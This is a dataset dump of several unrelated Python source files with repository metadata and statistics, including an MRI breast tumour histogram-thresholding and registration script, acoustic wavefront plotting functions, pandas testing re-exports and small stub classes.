2021-09-13T09:55:02.000Z
2022-03-23T09:41:26.000Z
delta_node/app/__init__.py
delta-mpc/delta-node
674fc61f951e41ed353597f93ca6ea6bc74a102b
[ "Apache-2.0" ]
1
2021-04-30T12:37:11.000Z
2021-04-30T12:37:11.000Z
from .app import app, run
13
25
0.730769
5
26
3.8
0.8
0
0
0
0
0
0
0
0
0
0
0
0.192308
26
1
26
26
0.904762
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
26593ba79970d2b1a2b8d061a694fae92ab83fd6
550
py
Python
PyCAD/InputMode.py
danheeks/HeeksCAM
eb54f5c402effd74aa97fee4041ab303bafd1a7e
[ "BSD-2-Clause" ]
5
2015-12-07T15:27:43.000Z
2021-03-03T15:51:52.000Z
PyCAD/InputMode.py
danheeks/HeeksCAM
eb54f5c402effd74aa97fee4041ab303bafd1a7e
[ "BSD-2-Clause" ]
null
null
null
PyCAD/InputMode.py
danheeks/HeeksCAM
eb54f5c402effd74aa97fee4041ab303bafd1a7e
[ "BSD-2-Clause" ]
4
2017-02-12T10:30:28.000Z
2020-06-15T12:18:21.000Z
class InputMode: def __init__(self): pass def GetTitle(self): return "" def TitleHighlighted(self): return True def GetHelpText(self): return None def OnMouse(self, event): pass def OnKeyDown(self, event): pass def OnKeyUp(self, event): pass def OnModeChange(self): return True def GetTools(self, t_list, p): pass def OnRender(self): pass def GetProperties(self, p_list): pass
16.666667
37
0.527273
57
550
4.982456
0.403509
0.147887
0.137324
0.169014
0
0
0
0
0
0
0
0
0.396364
550
33
38
16.666667
0.855422
0
0
0.391304
0
0
0
0
0
0
0
0
0
1
0.478261
false
0.304348
0
0.173913
0.695652
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
1
1
0
0
5
267d61fa601ddf4841d98dad195da6dc52ec1e2d
10,720
py
Python
Old MRI segmentation code/Histogram-segmentation.py
akac0297/PETLAB
950cc153ce230d12d752ad0d11111e7fc22d9e7d
[ "MIT" ]
null
null
null
Old MRI segmentation code/Histogram-segmentation.py
akac0297/PETLAB
950cc153ce230d12d752ad0d11111e7fc22d9e7d
[ "MIT" ]
null
null
null
Old MRI segmentation code/Histogram-segmentation.py
akac0297/PETLAB
950cc153ce230d12d752ad0d11111e7fc22d9e7d
[ "MIT" ]
null
null
null
#!/usr/bin/env python # coding: utf-8 # In[1]: #read in ipsilateral breast labelmap/volume #mask this patient's breast #generate histogram of intensity #DIR to new patient's breast #expand/dilate region (might need to be manual) #mask new patient's breast #generate histogram of intensity # In[2]: #import modules import SimpleITK as sitk from platipy.imaging.visualisation.tools import ImageVisualiser from platipy.imaging.utils.tools import get_com import matplotlib.pyplot as plt import numpy as np get_ipython().run_line_magic('matplotlib', 'notebook') # In[3]: R_breast=sitk.ReadImage("/home/alicja/Downloads/Segmentation.nii.gz") # In[4]: WES_010_4_B50T=sitk.ReadImage("/home/alicja/Documents/WES_010/IMAGES/WES_010_4_20180829_MR_EP2D_DIFF_TRA_SPAIR_ZOOMIT_EZ_B50T_EP2D_DIFF_TRA_SPAIR_ZOOMIT_TRACEW_DFC_MIX_5.nii.gz") WES_010_4_B800T=sitk.ReadImage("/home/alicja/Documents/WES_010/IMAGES/WES_010_4_20180829_MR_EP2D_DIFF_TRA_SPAIR_ZOOMIT_EZ_B800T_EP2D_DIFF_TRA_SPAIR_ZOOMIT_TRACEW_DFC_MIX_5.nii.gz") # In[5]: masked_R_breast = sitk.Mask(WES_010_4_B50T, R_breast) # In[10]: values = sitk.GetArrayViewFromImage(masked_R_breast).flatten() fig, ax = plt.subplots(1,1) ax.hist(values, bins=np.linspace(200,900,50), histtype='stepfilled', lw=2) #ax.set_yscale('log') ax.grid() ax.set_axisbelow(True) ax.set_xlabel('Intensity') ax.set_ylabel('Frequency') fig.show() # In[7]: #Use these values to do thresholding def estimate_tumour_vol(img_mri, lowerthreshold=300, upperthreshold=3000, hole_size=1): label_threshold = sitk.BinaryThreshold(img_mri, lowerThreshold=lowerthreshold, upperThreshold=upperthreshold) label_threshold_cc = sitk.RelabelComponent(sitk.ConnectedComponent(label_threshold)) label_threshold_cc_x = (label_threshold_cc==1) label_threshold_cc_x_f = sitk.BinaryMorphologicalClosing(label_threshold_cc_x, (hole_size,hole_size,hole_size)) return(label_threshold_cc_x_f) # In[12]: image_mri=WES_010_4_B50T arr_mri = sitk.GetArrayFromImage(image_mri) arr_mri[:,:,arr_mri.shape[2]//2:] = 0 image_mri_masked=sitk.GetImageFromArray(arr_mri) image_mri_masked.CopyInformation(image_mri) label_threshold_cc_x_f=estimate_tumour_vol(image_mri_masked, lowerthreshold=720, upperthreshold=3000, hole_size=1) sitk.WriteImage(label_threshold_cc_x_f,"test_label_threshold_010_4_B50T_hist.nii.gz") #works well # In[35]: np.max(label_threshold_cc_x_f) # In[60]: masked_R_breast_B800T = sitk.Mask(WES_010_4_B800T, R_breast) values = sitk.GetArrayViewFromImage(masked_R_breast_B800T).flatten() fig, ax = plt.subplots(1,1) ax.hist(values, bins=np.linspace(1,600,50), histtype='stepfilled', lw=2) #ax.set_yscale('log') ax.grid() ax.set_axisbelow(True) ax.set_xlabel('Intensity') ax.set_ylabel('Frequency') fig.show() # In[61]: image_mri=WES_010_4_B800T arr_mri = sitk.GetArrayFromImage(image_mri) arr_mri[:,:,arr_mri.shape[2]//2:] = 0 image_mri_masked=sitk.GetImageFromArray(arr_mri) image_mri_masked.CopyInformation(image_mri) label_threshold_cc_x_f=estimate_tumour_vol(image_mri_masked, lowerthreshold=300, upperthreshold=3000, hole_size=1) sitk.WriteImage(label_threshold_cc_x_f,"test_label_threshold_010_4_B800T_hist.nii.gz") #works super well # In[15]: WES_010_4_T2w=sitk.ReadImage("/home/alicja/Documents/WES_010/IMAGES/WES_010_4_20180829_MR_T2_TSE_TRA_SPAIR_TSE2D1_11_T2_TSE_TRA_SPAIR_3.nii.gz") # In[63]: WES_010_4_T2w=sitk.Resample(WES_010_4_T2w, WES_010_4_B50T) masked_R_breast_T2w = sitk.Mask(WES_010_4_T2w, R_breast) values = sitk.GetArrayViewFromImage(masked_R_breast_T2w).flatten() fig, ax = plt.subplots(1,1) ax.hist(values, bins=np.linspace(1,300,50), histtype='stepfilled', lw=2) #ax.set_yscale('log') ax.grid() ax.set_axisbelow(True) ax.set_xlabel('Intensity') ax.set_ylabel('Frequency') fig.show() # In[64]: image_mri=WES_010_4_T2w arr_mri = sitk.GetArrayFromImage(image_mri) arr_mri[:,:,arr_mri.shape[2]//2:] = 0 image_mri_masked=sitk.GetImageFromArray(arr_mri) image_mri_masked.CopyInformation(image_mri) label_threshold_cc_x_f=estimate_tumour_vol(image_mri_masked, lowerthreshold=170, upperthreshold=3000, hole_size=1) sitk.WriteImage(label_threshold_cc_x_f,"test_label_threshold_010_4_T2w_hist.nii.gz") #works well too # In[13]: WES_010_4_MPE=sitk.ReadImage("MPE_sub_WES_010_4.nii.gz") # In[17]: WES_010_4_MPE=sitk.Resample(WES_010_4_MPE, WES_010_4_B50T) masked_R_breast_MPE = sitk.Mask(WES_010_4_MPE, R_breast) values = sitk.GetArrayViewFromImage(masked_R_breast_MPE).flatten() fig, ax = plt.subplots(1,1) ax.hist(values, bins=np.linspace(150,450,50), histtype='stepfilled', lw=2) #ax.set_yscale('log') ax.grid() ax.set_axisbelow(True) ax.set_xlabel('Intensity') ax.set_ylabel('Frequency') fig.show() # In[20]: image_mri=WES_010_4_MPE arr_mri = sitk.GetArrayFromImage(image_mri) arr_mri[:,:,arr_mri.shape[2]//2:] = 0 image_mri_masked=sitk.GetImageFromArray(arr_mri) image_mri_masked.CopyInformation(image_mri) label_threshold_cc_x_f=estimate_tumour_vol(image_mri_masked, lowerthreshold=230, upperthreshold=3000, hole_size=1) sitk.WriteImage(label_threshold_cc_x_f,"test_label_threshold_010_4_MPE_hist.nii.gz") #good # In[ ]: # In[65]: from platipy.imaging.visualisation.tools import ImageVisualiser from platipy.imaging.registration.registration import ( initial_registration, fast_symmetric_forces_demons_registration, transform_propagation, apply_field ) # In[66]: #DIR to Patient 8 WES_008_4_B50T=sitk.ReadImage("/home/alicja/Documents/WES_008/IMAGES/WES_008_4_20180619_MR_EP2D_DIFF_TRA_SPAIR_ZOOMIT_EZ_B50T_EP2D_DIFF_TRA_SPAIR_ZOOMIT_TRACEW_DFC_MIX_5.nii.gz") image_to_0_rigid, tfm_to_0_rigid = initial_registration( WES_008_4_B50T, WES_010_4_B50T, options={ 'shrink_factors': [8,4], 'smooth_sigmas': [0,0], 'sampling_rate': 0.5, 'final_interp': 2, 'metric': 'mean_squares', 'optimiser': 'gradient_descent_line_search', 'number_of_iterations': 25}, reg_method='Rigid') image_to_0_dir, tfm_to_0_dir = fast_symmetric_forces_demons_registration( WES_008_4_B50T, image_to_0_rigid, resolution_staging=[4,2], iteration_staging=[10,10] ) R_breast_to_0_rigid = transform_propagation( WES_008_4_B50T, R_breast, tfm_to_0_rigid, structure=True ) R_breast_to_0_dir = apply_field( R_breast_to_0_rigid, tfm_to_0_dir, structure=True ) # In[67]: vis = ImageVisualiser(WES_008_4_B50T, axis='z', cut=get_com(R_breast_to_0_dir), window=[-250, 500]) vis.add_contour(R_breast_to_0_dir, name='BREAST', color='g') fig = vis.show() # In[78]: breast_contour_dilate=sitk.BinaryDilate(R_breast_to_0_dir, (2,2,2)) # In[79]: vis = ImageVisualiser(WES_008_4_B50T, axis='z', cut=get_com(R_breast_to_0_dir), window=[-250, 500]) vis.add_contour(breast_contour_dilate, name='BREAST', color='g') fig = vis.show() # In[80]: masked_R_breast = sitk.Mask(WES_008_4_B50T, breast_contour_dilate) # In[92]: values = sitk.GetArrayViewFromImage(masked_R_breast).flatten() fig, ax = plt.subplots(1,1) ax.hist(values, bins=np.linspace(200,3000,50), histtype='stepfilled', lw=2) #ax.set_yscale('log') ax.grid() ax.set_axisbelow(True) ax.set_xlabel('Intensity') ax.set_ylabel('Frequency') fig.show() # In[93]: image_mri=WES_008_4_B50T arr_mri = sitk.GetArrayFromImage(image_mri) arr_mri[:,:,arr_mri.shape[2]//2:] = 0 image_mri_masked=sitk.GetImageFromArray(arr_mri) image_mri_masked.CopyInformation(image_mri) label_threshold_cc_x_f=estimate_tumour_vol(image_mri_masked, lowerthreshold=1400, upperthreshold=5000, hole_size=1) sitk.WriteImage(label_threshold_cc_x_f,"test_label_threshold_008_4_B50T_hist.nii.gz") #good but seems to contain #fibroglandular tissue as well # In[95]: WES_008_4_B800T=sitk.ReadImage("/home/alicja/Documents/WES_008/IMAGES/WES_008_4_20180619_MR_EP2D_DIFF_TRA_SPAIR_ZOOMIT_EZ_B800T_EP2D_DIFF_TRA_SPAIR_ZOOMIT_TRACEW_DFC_MIX_5.nii.gz") WES_008_4_T2w=sitk.ReadImage("/home/alicja/Documents/WES_008/IMAGES/WES_008_4_20180619_MR_T2_TSE_TRA_SPAIR_TSE2D1_11_T2_TSE_TRA_SPAIR_3.nii.gz") # In[96]: masked_R_breast_B800T = sitk.Mask(WES_008_4_B800T, breast_contour_dilate) values = sitk.GetArrayViewFromImage(masked_R_breast_B800T).flatten() fig, ax = plt.subplots(1,1) ax.hist(values, bins=np.linspace(1,600,50), histtype='stepfilled', lw=2) #ax.set_yscale('log') ax.grid() ax.set_axisbelow(True) ax.set_xlabel('Intensity') ax.set_ylabel('Frequency') fig.show() # In[99]: image_mri=WES_008_4_B800T arr_mri = sitk.GetArrayFromImage(image_mri) arr_mri[:,:,arr_mri.shape[2]//2:] = 0 image_mri_masked=sitk.GetImageFromArray(arr_mri) image_mri_masked.CopyInformation(image_mri) label_threshold_cc_x_f=estimate_tumour_vol(image_mri_masked, lowerthreshold=480, upperthreshold=5000, hole_size=1) sitk.WriteImage(label_threshold_cc_x_f,"test_label_threshold_008_4_B800T_hist.nii.gz") #good # In[104]: WES_008_4_T2w=sitk.Resample(WES_008_4_T2w,WES_008_4_B800T) masked_R_breast_T2w = sitk.Mask(WES_008_4_T2w, breast_contour_dilate) values = sitk.GetArrayViewFromImage(masked_R_breast_T2w).flatten() fig, ax = plt.subplots(1,1) ax.hist(values, bins=np.linspace(1,250,50), histtype='stepfilled', lw=2) #ax.set_yscale('log') ax.grid() ax.set_axisbelow(True) ax.set_xlabel('Intensity') ax.set_ylabel('Frequency') fig.show() # In[105]: image_mri=WES_008_4_T2w arr_mri = sitk.GetArrayFromImage(image_mri) arr_mri[:,:,arr_mri.shape[2]//2:] = 0 image_mri_masked=sitk.GetImageFromArray(arr_mri) image_mri_masked.CopyInformation(image_mri) label_threshold_cc_x_f=estimate_tumour_vol(image_mri_masked, lowerthreshold=197, upperthreshold=5000, hole_size=1) sitk.WriteImage(label_threshold_cc_x_f,"test_label_threshold_008_4_T2w_hist.nii.gz") #okay but picks up #fibroglandular tissue # In[106]: L_breast=sitk.ReadImage("contralateral_segmentation.nii.gz") # In[107]: L_breast_to_0_rigid = transform_propagation( WES_008_4_B50T, L_breast, tfm_to_0_rigid, structure=True ) L_breast_to_0_dir = apply_field( L_breast_to_0_rigid, tfm_to_0_dir, structure=True ) # In[110]: L_breast_contour_dilate=sitk.BinaryDilate(L_breast_to_0_dir, (4,4,4)) vis = ImageVisualiser(WES_008_4_B50T, axis='z', cut=get_com(L_breast_to_0_dir), window=[-250, 500]) vis.add_contour(L_breast_contour_dilate, name='BREAST', color='g') fig = vis.show() # In[111]: masked_L_breast = sitk.Mask(WES_008_4_B50T, L_breast_contour_dilate) values = sitk.GetArrayViewFromImage(masked_L_breast).flatten() fig, ax = plt.subplots(1,1) ax.hist(values, bins=np.linspace(200,3000,50), histtype='stepfilled', lw=2) #ax.set_yscale('log') ax.grid() ax.set_axisbelow(True) ax.set_xlabel('Intensity') ax.set_ylabel('Frequency') fig.show() # In[ ]:
24.363636
180
0.785914
1,772
10,720
4.362302
0.147291
0.043467
0.020828
0.041785
0.813325
0.735834
0.718887
0.661449
0.645537
0.640621
0
0.07224
0.08834
10,720
439
181
24.419134
0.718715
0.085168
0
0.514706
1
0
0.164613
0.126617
0
0
0
0
0
1
0.004902
false
0
0.034314
0
0.039216
0
0
0
0
null
0
0
0
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
cd41423555a5e5c937c028d547852258b24c7b74
86
py
Python
testdemo.py
xurihouse/seg_tests
712772305423684750331f580b19cbf459650533
[ "MIT" ]
null
null
null
testdemo.py
xurihouse/seg_tests
712772305423684750331f580b19cbf459650533
[ "MIT" ]
null
null
null
testdemo.py
xurihouse/seg_tests
712772305423684750331f580b19cbf459650533
[ "MIT" ]
null
null
null
import os import sys import random import math import numpy as np print(sys.version)
10.75
18
0.802326
15
86
4.6
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.162791
86
7
19
12.285714
0.958333
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.833333
0
0.833333
0.166667
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
cd4d6f168ef21ddb7450ca7c231c6737bda11e56
211
py
Python
ckanext/datastore/tests/test_configure.py
namgk/ckan
523c6e61570a4a5ec1db02f2a7721b0494dd4c51
[ "Apache-2.0" ]
null
null
null
ckanext/datastore/tests/test_configure.py
namgk/ckan
523c6e61570a4a5ec1db02f2a7721b0494dd4c51
[ "Apache-2.0" ]
null
null
null
ckanext/datastore/tests/test_configure.py
namgk/ckan
523c6e61570a4a5ec1db02f2a7721b0494dd4c51
[ "Apache-2.0" ]
null
null
null
# encoding: utf-8 import unittest import ckan.plugins import nose.tools import pyutilib.component.core import ckanext.datastore.plugin as plugin class InvalidUrlsOrPermissionsException(Exception): pass
15.071429
51
0.815166
25
211
6.88
0.8
0
0
0
0
0
0
0
0
0
0
0.005435
0.127962
211
13
52
16.230769
0.929348
0.07109
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.142857
0.714286
0
0.857143
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
5
26a60d80854b8f5f4c1959aafcc98e4e37831401
852
py
Python
pandas/testing.py
RonKbS/pandas
ba1b6571bd507c27072900d778adf81a99affc7a
[ "BSD-3-Clause" ]
1
2021-11-09T06:22:43.000Z
2021-11-09T06:22:43.000Z
pandas/testing.py
RonKbS/pandas
ba1b6571bd507c27072900d778adf81a99affc7a
[ "BSD-3-Clause" ]
null
null
null
pandas/testing.py
RonKbS/pandas
ba1b6571bd507c27072900d778adf81a99affc7a
[ "BSD-3-Clause" ]
1
2021-09-16T00:54:01.000Z
2021-09-16T00:54:01.000Z
""" Public testing utility functions. """ from pandas._testing import ( assert_almost_equal, assert_categorical_equal, assert_datetime_array_equal, assert_equal, assert_extension_array_equal, assert_frame_equal, assert_index_equal, assert_interval_array_equal, assert_numpy_array_equal, assert_period_array_equal, assert_series_equal, assert_sp_array_equal, assert_timedelta_array_equal, ) __all__ = [ "assert_frame_equal", "assert_series_equal", "assert_index_equal", "assert_equal", "assert_almost_equal", "assert_categorical_equal", "assert_datetime_array_equal", "assert_extension_array_equal", "assert_interval_array_equal", "assert_numpy_array_equal", "assert_period_array_equal", "assert_sp_array_equal", "assert_timedelta_array_equal", ]
23.666667
35
0.751174
99
852
5.767677
0.232323
0.462347
0.336252
0.08056
0.8669
0.751313
0.663748
0.663748
0.663748
0.514886
0
0
0.172535
852
35
36
24.342857
0.809929
0.038732
0
0
0
0
0.357583
0.251541
0
0
0
0
0.866667
1
0
false
0
0.033333
0
0.033333
0
0
0
0
null
1
1
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
5
26acd2acec8df8307e3b73dbc7eca9068c3295ce
46
py
Python
exceptions.py
dizzam/goldendict-web-translation
4a16e12223b2c82c7e940d7f60efe301c349c63b
[ "MIT" ]
null
null
null
exceptions.py
dizzam/goldendict-web-translation
4a16e12223b2c82c7e940d7f60efe301c349c63b
[ "MIT" ]
null
null
null
exceptions.py
dizzam/goldendict-web-translation
4a16e12223b2c82c7e940d7f60efe301c349c63b
[ "MIT" ]
null
null
null
class TranslateException(Exception): pass
15.333333
36
0.782609
4
46
9
1
0
0
0
0
0
0
0
0
0
0
0
0.152174
46
2
37
23
0.923077
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.5
0
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
5
26b28d48f92f04a8e0be786ee057802ab0e3ba9a
11,028
py
Python
data_plotting/display_wavefronts.py
qgoestch/sinecity_testcases
ec04ba707ff69b5c1b4b42e56e522855a2f34a65
[ "BSD-3-Clause" ]
null
null
null
data_plotting/display_wavefronts.py
qgoestch/sinecity_testcases
ec04ba707ff69b5c1b4b42e56e522855a2f34a65
[ "BSD-3-Clause" ]
null
null
null
data_plotting/display_wavefronts.py
qgoestch/sinecity_testcases
ec04ba707ff69b5c1b4b42e56e522855a2f34a65
[ "BSD-3-Clause" ]
1
2021-02-18T13:07:10.000Z
2021-02-18T13:07:10.000Z
# -*- coding: utf-8 -*- ## # \file display_wavefronts.py # \title Comparison of the spectrum and instantaneous pressure display. # \author Pierre Chobeau # \version 0.1 # \license BSD 3-Clause License # \inst UMRAE (Ifsttar Nantes), LAUM (Le Mans Université) # \date 2017, 06 Oct. ## import numpy as np import os import matplotlib.pyplot as plt import matplotlib.ticker as ticker base_path = reduce (lambda l,r: l + os.path.sep + r, os.path.dirname( os.path.realpath( __file__ ) ).split( os.path.sep ) ) def inst_pres_exact_vs_num(n,p_exact,p_num, Lx, Ly, nx, ny, dx, dt): """ Display the instaneous pressure in init_*.py if disp_inst_p == True. :param n: time iteration index :type n: int :param p_exact: analytic solution for the acoustic pressure (Pa) :type p_exact: 2D numpy array of floats. :param p_num: numerical results for the acoustic pressure (Pa) :type p_num: 2D numpy array of floats. :param Lx: continuous length of the domain (in meter) following the x-direction :type Lx: float :param Ly: continuous length of the domain (in meter) following the y-direction :type Ly: float :param nx: mode number for the x direction :type nx: int :param ny: mode number for the y direction :type ny: int :param dx: spatial step (m). :type dx: float :param dt: time step (s). :type dt: float :return: display (and save snapchots of) the instantaneous pressure in the 2D domain as a function of time. """ if n > 1 and n % 5 == 0: # instant pressure plot fig = plt.figure(1) plt.clf() ax1 = plt.subplot(211) h_x = 40 h_y = h_x ax1.xaxis.set_major_locator(ticker.MultipleLocator(h_x)) ax1.set_xticklabels(np.round(np.arange(0 - h_x * dx, Lx, h_x * dx, dtype=np.float64), 1)) ax1.yaxis.set_major_locator(ticker.MultipleLocator(h_y)) ax1.set_yticklabels(np.round(np.arange(0 - h_y * dx, Ly, h_y * dx, dtype=np.float64), 1)) plt.xlabel(r'x (m)') plt.ylabel(r'y (m)') im = plt.imshow(np.real(p_num.T), cmap='viridis') # , interpolation='none') im.set_data(np.real(p_num.T)) plt.title('It=%3.i, t=%.4f s, FDTD' % (n, n * dt)) plt.colorbar(format="%0.2f").set_label(label='Pressure (Pa)',fontsize=14) ax2 = plt.subplot(212) ax2.xaxis.set_major_locator(ticker.MultipleLocator(h_x)) ax2.set_xticklabels(np.round(np.arange(0 - h_x * dx, Lx, h_x * dx, dtype=np.float64), 1)) ax2.yaxis.set_major_locator(ticker.MultipleLocator(h_y)) ax2.set_yticklabels(np.round(np.arange(0 - h_y * dx, Ly, h_y * dx, dtype=np.float64), 1)) im = plt.imshow(np.real(p_exact.T), cmap='viridis') # , interpolation='none') im.set_data(np.real(p_exact.T)) plt.xlabel(r'x (m)') plt.ylabel(r'y (m)') plt.title('It=%3.i, t=%.4f s, Analytic' % (n, n * dt)) plt.colorbar(format="%0.2f").set_label(label='Pressure (Pa)',fontsize=14) plt.pause(10 ** -5) plt.tight_layout() if n == 10: res_path = os.path.join(base_path.rsplit(os.sep, 1)[0], 'results', 'case2', 'figures') if not os.path.exists(res_path): os.makedirs(res_path) plt.savefig(os.path.join(res_path, 'modes_nx%i_ny%i.eps' % (nx, ny)), transparent=True, bbox_inches='tight', pad_inches=0) plt.savefig(os.path.join(res_path, 'modes_nx%i_ny%i.png' % (nx, ny)), transparent=True, bbox_inches='tight', pad_inches=0) plt.savefig(os.path.join(res_path, 'modes_nx%i_ny%i.pdf' % (nx, ny)), transparent=True, bbox_inches='tight', pad_inches=0) def instatenous_pressure(n, Nt, p, dx, dt, Lx, Ly, case, save_on): """ Plot the instaneous pressure in methods.py if disp_inst_p = True. :param n: time iteration index :type n: int :param Nt: number of iteration time :type Nt: int :param p: acoustic pressure array (Pa) :type p: 2D numpy array of floats. :param dx: spatial step (m). :type dx: float :param dt: time step (s). :type dt: float :param Lx: continuous length of the domain (in meter) following the x-direction :type Lx: float :param Ly: continuous length of the domain (in meter) following the y-direction :type Ly: float :param case: integer that sorts of the saved folders in the results directory. :type case: int :param save_on: boolean to save some snapshots of the wavefront. :type save_on: bool :return: display (and save snapchots of) the instantaneous pressure in the 2D domain as a function of time. """ # if n > 1 and n % int(Nt / 6.) == 0: if n > 1 and n % 20 == 0: fig = plt.figure(1) ax = fig.add_subplot(111) plt.imshow(np.real(p.T), cmap='viridis', origin='lower') plt.clim(-.5, .5) h_x = 40 h_y = h_x ax.xaxis.set_major_locator(ticker.MultipleLocator(h_x)) ax.set_xticklabels(np.round(np.arange(0 - h_x * dx, Lx, h_x * dx, dtype=np.float64),1)) ax.yaxis.set_major_locator(ticker.MultipleLocator(h_y)) ax.set_yticklabels(np.round(np.arange(0 - h_y * dx, Ly, h_y * dx, dtype=np.float64),1)) plt.xlabel(r'x (m)') plt.ylabel(r'y (m)') plt.title('It=%3.i, t=%.3f s' % (n, n * dt)) plt.pause(10 ** -50) if save_on: res_path = os.path.join(base_path.rsplit(os.sep, 1)[0], 'results', 'case%i' % case, 'figures') if not os.path.exists(res_path): os.makedirs(res_path) # plt.savefig(os.path.join(res_path, 'wf_dx%i_%i.eps' % (int(dx*100), n)), # transparent=True, bbox_inches='tight', pad_inches=0) plt.savefig(os.path.join(res_path, 'wf_dx%i_%i.png' % (int(dx*100), n)), transparent=True, bbox_inches='tight', pad_inches=0) # plt.savefig(os.path.join(res_path, 'wf_dx%i_%i.jpg' % (int(dx*100), n)), # transparent=True, bbox_inches='tight', pad_inches=0) print 'saving wavefronts' def instatenous_pressure_fd_method(p, dx, Lx, Ly, case, save_on): """ Plot the instaneous pressure in methods.py if disp_inst_p = True. :param n: time iteration index :type n: int :param Nt: number of iteration time :type Nt: int :param p: acoustic pressure array (Pa) :type p: 2D numpy array of floats. :param dx: spatial step (m). :type dx: float :param dt: time step (s). :type dt: float :param Lx: continuous length of the domain (in meter) following the x-direction :type Lx: float :param Ly: continuous length of the domain (in meter) following the y-direction :type Ly: float :param case: integer that sorts of the saved folders in the results directory. :type case: int :param save_on: boolean to save some snapshots of the wavefront. :type save_on: bool :return: display (and save snapchots of) the instantaneous pressure in the 2D domain as a function of time. """ fig = plt.figure(1) ax = fig.add_subplot(111) plt.imshow(np.real(p.T), cmap='viridis', origin='lower') plt.clim(-10**0, 10**0) plt.colorbar() # h_x = 40 # h_y = h_x # ax.xaxis.set_major_locator(ticker.MultipleLocator(h_x)) # ax.set_xticklabels(np.round(np.arange(0 - h_x * dx, Lx, h_x * dx, # dtype=np.float64),1)) # ax.yaxis.set_major_locator(ticker.MultipleLocator(h_y)) # ax.set_yticklabels(np.round(np.arange(0 - h_y * dx, Ly, h_y * dx, # dtype=np.float64),1)) plt.xlabel(r'x (m)') plt.ylabel(r'y (m)') plt.title('FD method') plt.pause(10 ** -50) if save_on: res_path = os.path.join(base_path.rsplit(os.sep, 1)[0], 'results', 'case%i' % case, 'figures') if not os.path.exists(res_path): os.makedirs(res_path) # plt.savefig(os.path.join(res_path, 'wf_dx%i_%i.eps' % (int(dx*100), n)), # transparent=True, bbox_inches='tight', pad_inches=0) plt.savefig(os.path.join(res_path, 'case0_pressure_1.png' ), transparent=True, bbox_inches='tight', pad_inches=0) from mpl_toolkits.mplot3d import Axes3D from matplotlib import cm from matplotlib.ticker import LinearLocator, FormatStrFormatter fig = plt.figure(2) ax = fig.gca(projection='3d') X = np.linspace(-Lx / 2., Lx / 2. + dx, p.shape[0]) Y = np.linspace(-Ly / 2., Ly / 2. + dx, p.shape[1]) # X = np.arange(-Lx/2., Lx/2. + dx, dx) # Y = np.arange(-Ly/2., Ly/2. + dx, dx) X, Y = np.meshgrid(X, Y) Z = np.real(p.T) print np.shape(X), np.shape(Y), np.shape(Z) surf = ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=cm.plasma, linewidth=0, antialiased=False) ax.set_zlim(-1.01, 1.01) ax.zaxis.set_major_locator(LinearLocator(10)) ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f')) fig.colorbar(surf, shrink=0.5, aspect=5) if save_on: res_path = os.path.join(base_path.rsplit(os.sep, 1)[0], 'results', 'case%i' % case, 'figures') if not os.path.exists(res_path): os.makedirs(res_path) # plt.savefig(os.path.join(res_path, 'wf_dx%i_%i.eps' % (int(dx*100), n)), # transparent=True, bbox_inches='tight', pad_inches=0) plt.savefig(os.path.join(res_path, 'case0_pressure_2.png' ), transparent=True, bbox_inches='tight', pad_inches=0) # plt.savefig(os.path.join(res_path, 'wf_dx%i_%i.jpg' % (int(dx*100), n)), # transparent=True, bbox_inches='tight', pad_inches=0) print 'saving wavefronts' plt.show() def inst_plot(n,p,Nb): """ :param n: time iteration index :type n: int :param p: acoustic pressure array (Pa) :type p: 2D numpy array of floats. :param Nb: boundary of the domain (1 if BC, 0 else). :type Nb: 2D numpy array of integers. :return: show the instantaneous pressure in the 2D domain as a function of time. """ import matplotlib.pyplot as plt # instant pressure plot if n%10==0: plt.figure(1) im = plt.imshow(np.real(p.T), cmap='viridis', origin ='lower') plt.clim(-.1, .1) # im.set_data(np.real(Nb.T)) im.set_data(np.real(p.T)) plt.title('It=%i' %(n)) plt.pause(10**-50)
43.588933
112
0.581429
1,660
11,028
3.751205
0.150602
0.022162
0.024089
0.028264
0.773246
0.75285
0.740164
0.726192
0.69552
0.688132
0
0.026808
0.282916
11,028
253
113
43.588933
0.760622
0.144269
0
0.44
0
0
0.076533
0
0
0
0
0
0
0
null
null
0
0.064
null
null
0.024
0
0
0
null
0
0
0
0
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
5
26b4bfb330d6d20f6d47d2255997d4550478fa37
20
py
Python
reguests_http/hello.py
Zapel/python_traning
c13051867cda84246443947a9c7559248634a325
[ "Apache-2.0" ]
null
null
null
reguests_http/hello.py
Zapel/python_traning
c13051867cda84246443947a9c7559248634a325
[ "Apache-2.0" ]
null
null
null
reguests_http/hello.py
Zapel/python_traning
c13051867cda84246443947a9c7559248634a325
[ "Apache-2.0" ]
null
null
null
print 'Hello, Zapel'
20
20
0.75
3
20
5
1
0
0
0
0
0
0
0
0
0
0
0
0.1
20
1
20
20
0.833333
0
0
0
0
0
0.571429
0
0
0
0
0
0
0
null
null
0
0
null
null
1
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
5
